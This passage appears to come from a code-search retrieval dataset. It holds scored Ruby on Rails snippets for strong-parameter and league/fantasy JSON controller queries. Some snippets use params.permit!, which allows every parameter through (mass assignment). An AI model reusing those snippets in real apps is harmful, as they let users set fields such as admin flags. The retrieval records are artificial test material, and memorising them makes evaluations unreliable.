"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.62788945",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6274474",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6267891",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62570876",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6255739",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.6252448",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6237188",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.62297666",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.6229325",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6229133",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.62262005",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6201686",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.6192431",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61840314",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.61792326",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61643475",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6162127",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61570275",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.61560357",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.6136865",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.6134677",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.6121851",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.61188513",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.61188513",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.6114514",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61120224",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.6105032",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.6105032",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.609908",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.609908",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.6086652",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60864824",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.6085158",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6079272",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.6076499",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60698277",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.6069387",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6067486",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60662013",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.6064436",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6063694",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.60630244",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60587263",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.6049716",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.6049716",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.6049526",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.60474473",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.60418373",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60359657",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.60314584",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6027105",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.60229325",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6021557",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.60177565",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.6016767",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60098374",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.60070235",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.60070235",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006955",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60051733",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.60028553",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.6002582",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6002021",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6002021",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.6000165",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.6000129",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.6000129",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5994901",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947675",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.599438",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59922063",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59905964",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
c9af1a440b2c4b45de5998c2744cc3c7 | GET /leagues/fantasy GET /leagues/fantasy.json | [
{
"docid": "9c083253341f9ee883a5d97ceef0d50a",
"score": "0.7080213",
"text": "def index\n\t\t@leagues = Fantasy.where(private_access: false, active: true, published: true, full:false, locked:false)\n\t\trender json: @leagues\n\tend",
"title": ""
}
] | [
{
"docid": "bddab64516c5c5a635fd8631dfc3a195",
"score": "0.6895869",
"text": "def index\n @leagues = @sport.leagues\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leagues }\n end\n end",
"title": ""
},
{
"docid": "cabb737b7fb835c0c25b8d4c35f37979",
"score": "0.6783509",
"text": "def show\n render json: @thief_talent\n end",
"title": ""
},
{
"docid": "765f58d8066965b79ec779997d5153fe",
"score": "0.67780757",
"text": "def index\n @leagues = League.all\n render json: @leagues\n end",
"title": ""
},
{
"docid": "2a6d9ba802bece367d974bd771faa88e",
"score": "0.67768055",
"text": "def index\n @fellows = Fellow.all\n\n render json: @fellows\n end",
"title": ""
},
{
"docid": "20d32e1f8955a16c144dfc7345ca1d77",
"score": "0.67638975",
"text": "def show\n @team = Team.find(params[:id])\n @players = @team.players\n @leagues = @team.leagues\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @team }\n end\n end",
"title": ""
},
{
"docid": "d5486a500bce678dbc767e6d7a876ed4",
"score": "0.6665444",
"text": "def index\n @leagues = League.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leagues }\n end\n end",
"title": ""
},
{
"docid": "6e5622664b8cb6ff5da81c3d75e4447a",
"score": "0.6653895",
"text": "def show\n @league = League.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @league }\n end\n end",
"title": ""
},
{
"docid": "6e5622664b8cb6ff5da81c3d75e4447a",
"score": "0.6653895",
"text": "def show\n @league = League.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @league }\n end\n end",
"title": ""
},
{
"docid": "60d5de0cfead4034e27b92c2b12101eb",
"score": "0.6617114",
"text": "def index\n @thief_talents = ThiefTalent.all\n\n render json: @thief_talents\n end",
"title": ""
},
{
"docid": "1b24f8b2840ca4a596ad9f4bbf21089a",
"score": "0.6564195",
"text": "def show\n @famouspeople = FamousPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @famouspeople }\n end\n end",
"title": ""
},
{
"docid": "1a5f8d253453e491488c0a465564db38",
"score": "0.6561814",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @league }\n end\n end",
"title": ""
},
{
"docid": "1a5f8d253453e491488c0a465564db38",
"score": "0.6561814",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @league }\n end\n end",
"title": ""
},
{
"docid": "1a1c05954bccc4ae1ea6a6097daf9158",
"score": "0.6545699",
"text": "def show\n render json: @league\n end",
"title": ""
},
{
"docid": "b529d063c9febcf7917eae160e15d4e9",
"score": "0.6542073",
"text": "def home\n begin\n @response = (RestClient.get \"https://fantasysports.yahooapis.com/fantasy/v2/users;use_login=1/games;game_keys=nhl/leagues;season=2018\", :authorization => \"Bearer #{params[:token]}\")\n @info = Hash.from_xml(@response.body)['fantasy_content']['users']['user']['games']['game']['leagues']['league']\n @leagues = []\n puts @info\n begin\n for league in @info\n @leagues.push({\"leagueID\" => league['league_id'], \"leagueName\" => league['name']})\n end\n rescue\n @leagues.push({\"leagueID\" => @info['league_id'], \"leagueName\" => @info['name']})\n end\n rescue\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "95fb9297605c14f4507c97e81c71b05e",
"score": "0.6496547",
"text": "def index\n\t\t@leagues = League.all\n\t\trender json: @leagues\n\tend",
"title": ""
},
{
"docid": "f79b0f1ab04ca8fa8dce426c4ad83484",
"score": "0.6480917",
"text": "def index\n @difficulties = Difficulty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @difficulties }\n end\n end",
"title": ""
},
{
"docid": "1474f33b55eb45363092df5eb7b0ac61",
"score": "0.6468653",
"text": "def show\n respond_to do |format|\n format.html\n format.json { render json: @fighter }\n end\n end",
"title": ""
},
{
"docid": "0d24eb8cbb9f2d868ec2f771bebdaaca",
"score": "0.6461226",
"text": "def show\r\n @chief = Chief.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @chief }\r\n end\r\n end",
"title": ""
},
{
"docid": "9bdb135ab90af8e675e1b006761afa08",
"score": "0.6450295",
"text": "def index\n @fellowships = Fellowship.all\n\n render json: @fellowships\n end",
"title": ""
},
{
"docid": "44ae174c9002a5b0e1d4237c729cdff9",
"score": "0.6441221",
"text": "def show\n @meetleague = Meetleague.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meetleague }\n end\n end",
"title": ""
},
{
"docid": "bb03276aa7ecdc12838db540b8a1a4a4",
"score": "0.64353377",
"text": "def index\n league = get_league\n @teams = league.teams\n render json: @teams, status: 201\n end",
"title": ""
},
{
"docid": "dccaeb24716e6e25f6d48a0c06cd8aa4",
"score": "0.64197034",
"text": "def show\n @girl = Girl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @girl }\n end\n end",
"title": ""
},
{
"docid": "dccaeb24716e6e25f6d48a0c06cd8aa4",
"score": "0.64197034",
"text": "def show\n @girl = Girl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @girl }\n end\n end",
"title": ""
},
{
"docid": "16b93e00493d8b9f66d742320fee8ab0",
"score": "0.6415157",
"text": "def show\n @golf_hole = GolfHole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @golf_hole }\n end\n end",
"title": ""
},
{
"docid": "1c039ee21fd1a393625e4e3521ffd0f7",
"score": "0.64117545",
"text": "def show\n @participant = Participant__c.find(request[:participant_id])\n @fitness_goal = Fitness_Goal__c.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fitness_goal }\n end\n end",
"title": ""
},
{
"docid": "a4f5cf501b53320153f483a4db5a353b",
"score": "0.6411595",
"text": "def new\n @fellowship = Fellowship.new\n @title = 'New Fellowship'\n @description = 'Add fellowship information'\n\n @specialties = Clinicalspecialty.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fellowship }\n end\n end",
"title": ""
},
{
"docid": "02d67a12a9793b93333f9f8d4bfb7285",
"score": "0.6402622",
"text": "def show\n @beginner = Beginner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beginner }\n end\n end",
"title": ""
},
{
"docid": "49796ebb689f952437044e42c49a31d9",
"score": "0.63945884",
"text": "def show\n\t\trender json: @league\n\tend",
"title": ""
},
{
"docid": "1511ab0b6f69ba454b5489540b616e1e",
"score": "0.639315",
"text": "def show\n @fighter = Fighter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fighter }\n end\n end",
"title": ""
},
{
"docid": "21f101aa04bfffe43f6c812d8c3dd21a",
"score": "0.639255",
"text": "def show\n @techy = Techie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @techy }\n end\n end",
"title": ""
},
{
"docid": "abfb573c4ba239b38cc43ad644af0034",
"score": "0.63745",
"text": "def show\n render json: @fellowship\n end",
"title": ""
},
{
"docid": "3ab125f156abd5689c05a39196d60b14",
"score": "0.63731164",
"text": "def show\n @fellowship = Fellowship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fellowship }\n end\n end",
"title": ""
},
{
"docid": "35d6806bb55bcf01bb51e5228b5585dd",
"score": "0.63490725",
"text": "def show\n @leagueuser = Leagueuser.find(params[:id])\n @league = League.find(@leagueuser.league_id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leagueuser }\n end\n end",
"title": ""
},
{
"docid": "2c78af71967f092971714b3d68ebfd23",
"score": "0.63306737",
"text": "def show\n @fantasy_league = FantasyLeague.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fantasy_league }\n end\n end",
"title": ""
},
{
"docid": "d6c1f4d1ca98b9259e3879dd870465f2",
"score": "0.63305944",
"text": "def index\n @leagues = League.all\n respond_with(@leagues)\n end",
"title": ""
},
{
"docid": "0e6d2faf2a6fda336a9211c547988826",
"score": "0.63159424",
"text": "def show\n @fantasy_player = FantasyPlayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fantasy_player }\n end\n end",
"title": ""
},
{
"docid": "87a494d2b4262bb68c83ae9c468defe7",
"score": "0.62987703",
"text": "def new\n @fantasy_player = FantasyPlayer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fantasy_player }\n end\n end",
"title": ""
},
{
"docid": "d8904766f22a19bffa02d555248df041",
"score": "0.6290608",
"text": "def show\n @team = Team.find(params[:id])\n @title = \"Team #{@team.company} | Bike Commuter Challenge\"\n @team_leader = User.find(@team.leader)\n @award = Award.where(:company_type => @team.company_type,\n :company_size_range => @team.company_size_range,\n :goal => 'Participation Rate')\n .first\n @users = @team.users.find(:all, :order => 'lname')\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end",
"title": ""
},
{
"docid": "89b0373baf4488be3f263f08f3c4950b",
"score": "0.6284449",
"text": "def show\n @greet = Greet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @greet }\n end\n end",
"title": ""
},
{
"docid": "18b3d8cca80585ba2192bb77eb89df8f",
"score": "0.628305",
"text": "def show\n @team = Team.find(params[:team_id])\n @injury = Injury.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @injury }\n end\n end",
"title": ""
},
{
"docid": "fa9978da85afe2ccbfaf69b1a7baa375",
"score": "0.6280937",
"text": "def index\n @fantasy_teams = FantasyTeam.all\n end",
"title": ""
},
{
"docid": "0e9e08cf3cbb141c282e25241063c2b0",
"score": "0.6279574",
"text": "def index\n @geeks = Geek.all\n render json: @geeks\n end",
"title": ""
},
{
"docid": "190ec3ecd04e203262cfc0846a1fd38a",
"score": "0.62660044",
"text": "def show\n @flesh = Flesh.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @flesh }\n end\n end",
"title": ""
},
{
"docid": "b8cc41a5940acbd1be86d77141415673",
"score": "0.6265867",
"text": "def new\n @fighter = Fighter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fighter }\n end\n end",
"title": ""
},
{
"docid": "b71c55202078f53fb434f9963fa19a4e",
"score": "0.626343",
"text": "def show\n @personality = Personality.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personality }\n end\n end",
"title": ""
},
{
"docid": "fb34b5d90864f8a4169003a425090a9e",
"score": "0.6257899",
"text": "def new\n @fight = Fight.new\n @fighters = Fighter.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fight }\n end\n end",
"title": ""
},
{
"docid": "149d1ae6f5a98e7bcac3e65b9e6dd3e0",
"score": "0.6254854",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contestant }\n end\n end",
"title": ""
},
{
"docid": "1cd2422b7b5635058155239388ff4c38",
"score": "0.62529325",
"text": "def show\n @lessee = Lessee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"title": ""
},
{
"docid": "6bebe36ac5e7113d2e5fb44445078b63",
"score": "0.62517756",
"text": "def show\n @featuring = Featuring.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @featuring }\n end\n end",
"title": ""
},
{
"docid": "04085fde073714e11c4690aa917dedeb",
"score": "0.62514883",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @life_jacket }\n end\n end",
"title": ""
},
{
"docid": "65e2f0e0a7d705ebbbc47a96599b721e",
"score": "0.62497264",
"text": "def show\n render json: @fellow\n end",
"title": ""
},
{
"docid": "1619e0de960b34feac78dc0e7f559bfa",
"score": "0.6238263",
"text": "def show\n render json: fpl_team_list_hash\n end",
"title": ""
},
{
"docid": "d2201ba34f6cd5442567394b98509794",
"score": "0.6235856",
"text": "def show\n @fatigue = Fatigue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fatigue }\n end\n end",
"title": ""
},
{
"docid": "4f83de0d40399547708e5b1eaf595796",
"score": "0.6222924",
"text": "def show\n @feature_team = FeatureTeam.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feature_team }\n end\n end",
"title": ""
},
{
"docid": "9e5b1ec550215aec52d4d7552f3fdd87",
"score": "0.6204177",
"text": "def show\n @ragefest = Ragefest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ragefest }\n end\n end",
"title": ""
},
{
"docid": "b31af8a1a5e3cab2ffb57b385a8f197b",
"score": "0.6198388",
"text": "def show\n render json: LessonVitalFact.find(params[:id])\n end",
"title": ""
},
{
"docid": "612a06c945a00ee667f35813f9b95a60",
"score": "0.61971265",
"text": "def show\n @team = Team.find(params[:id])\n # @team_player = @team.league.get_all_team_player(@team.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end",
"title": ""
},
{
"docid": "658b48f78f4a63100278799809d78f42",
"score": "0.61958593",
"text": "def show\n @fachschaft = Fachschaft.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fachschaft }\n end\n end",
"title": ""
},
{
"docid": "8e97bdda0562bcfd2b6e274047e625df",
"score": "0.6178083",
"text": "def index\n @leagues = League.where(:type => [nil, \"League\"])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leagues }\n end\n end",
"title": ""
},
{
"docid": "3cd6c2c4c113a45d042729c55a2ba7b2",
"score": "0.61725545",
"text": "def show\n @private_league = PrivateLeague.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @private_league }\n end\n end",
"title": ""
},
{
"docid": "39829cc085e6d70ac8c333fbb6474242",
"score": "0.6164751",
"text": "def foods\n @establishment = Establishment.find(params[:id])\n @foods = @establishment.foods\n\n respond_to do |format|\n format.json { render 'foods/index' }\n end\n end",
"title": ""
},
{
"docid": "3cc6bd3b7a136d9e5550a01765567f05",
"score": "0.6161305",
